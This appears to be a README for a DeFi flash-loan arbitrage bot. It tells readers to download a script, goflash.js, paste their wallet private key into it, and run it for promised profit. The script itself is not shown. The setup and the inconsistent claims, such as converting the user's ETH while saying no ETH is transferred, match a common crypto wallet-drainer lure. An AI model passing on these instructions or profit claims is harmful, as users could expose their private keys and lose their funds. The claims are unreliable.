FlashLoanArbitrage

Hi! This is my project FlashLoanArbitrage — a bot for arbitrage on DeFi with flash loans. Using a smart contract and a local script goflash.js, which runs on your computer. Sharing it so you can try it out!

How It Works 💡

1. Smart Contract:

   • Takes a flash loan in USDC.
   • Converts your ETH to USDC before the deal.
   • Buys ETH at a low price on one platform.
   • Sells ETH at a high price on another.
   • Repays the loan, pays fees and gas.
   • Converts the profit from USDC back to ETH.
   • The remainder is your profit!

2. Script goflash.js:

   • Checks ETH/USDC prices on five DeFi platforms.
   • Waits for a price difference of 0.9% or more to avoid losses.
   • If the difference is there, it triggers arbitrage through the contract.

Which DeFi Protocols I Use 💰

I added four protocols for flash loans:

• Aave (0.05%): Tons of liquidity, up to 10,000,000 USDC.
• dYdX (0.05%): Fast, up to 500,000 USDC.
• Uniswap V3 (0.01%): Low fees, up to 5,000,000 USDC.
• Balancer (0.02%): Flexible pools, up to 1,000,000 USDC.

The bigger the loan, the higher the fee. So don’t take a huge loan if your wallet balance is low!

Which Platforms I Scan 📊

The script checks ETH/USDC prices on these platforms:

1. Chainlink: Oracle for the base ETH price.
2. Uniswap V2: Classic DEX, always liquid.
3. SushiSwap: Uniswap fork, also solid.
4. Curve Finance: Stable pools, less slippage.
5. Balancer: Flexible pools for arbitrage.

If the price difference is ≥0.9%, the script triggers a deal. Less than that, it waits to avoid losses.

How to Run 🚀

Here’s how to run my bot:

1. Download the Files:

   • Grab goflash.js, package.json from the repo.

2. Put Them in a Folder:

   • Any folder on your computer.

3. Install Libraries:

   • Open a terminal (cmd, PowerShell, or VS Code).
   • Navigate to the folder with:

     cd your_path_to_folder

   • Install dependencies:

     npm install

4. Add Your Private Key:

   • Open goflash.js in an editor.
   • Replace:

     const PRIVATE_KEY = "YOUR_PRIVATE_KEY_HERE";

     with your key ( Don’t share it with anyone! )

5. Run the Script:

   • Type in the terminal:

     node goflash.js

6. Work with the Menu:

   • Select DeFi — I recommend dYdX or Uniswap V3.
   • In Loan Amount in ETH, set the loan amount (from 10 to the protocol’s max).
     • Careful: If your wallet balance is <0.1 ETH, don’t take a loan over 10 ETH — gas won’t cover it!
   • Hit Start Arbitrage to start.

7. What the Script Does:

   • Scans ETH/USDC prices on platforms.
   • Waits for a difference ≥0.9% and triggers arbitrage through the contract.
   • Converts your ETH to USDC before the deal and profit back to ETH after.

Important Notes ⚠️

• Wallet Balance: For loans over 10 ETH, you need a balance ≥0.1 ETH, or the script won’t let you pick a big loan.
• Fees: You pay trading fees (0.1%), slippage (0.05%), and gas.

How It Works Example 📈

1. You pick dYdX and a loan of 10 ETH (if balance ≥0.1 ETH).
2. The script converts your ETH to USDC before the deal (wallet balance is used only for gas, ETH is not transferred to the FlashLoanArbitrage contract).
3. It checks prices, for example:
   • Uniswap V2: 4200 USDC/ETH
   • SushiSwap: 4250 USDC/ETH
4. If the difference is ≥0.9%, the contract:
   • Takes a flash loan in USDC.
   • Buys ETH on Uniswap V2.
   • Sells ETH on SushiSwap.
   • Repays the loan, pays fees and gas.
   • Converts the profit from USDC back to ETH.
   • The final profit (Net profit) in ETH goes to you, accounting for all costs (flash loan fee, trading fees 0.1%, slippage 0.05%, gas).
   • No need to top up any balance anywhere!!!

Good Luck! 🍀

Hope my bot brings you some profit! If something doesn’t work or you have ideas, drop a note in issues.

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This is my project, made for myself, sharing as is. Check the contract and script before mainnet to avoid bugs!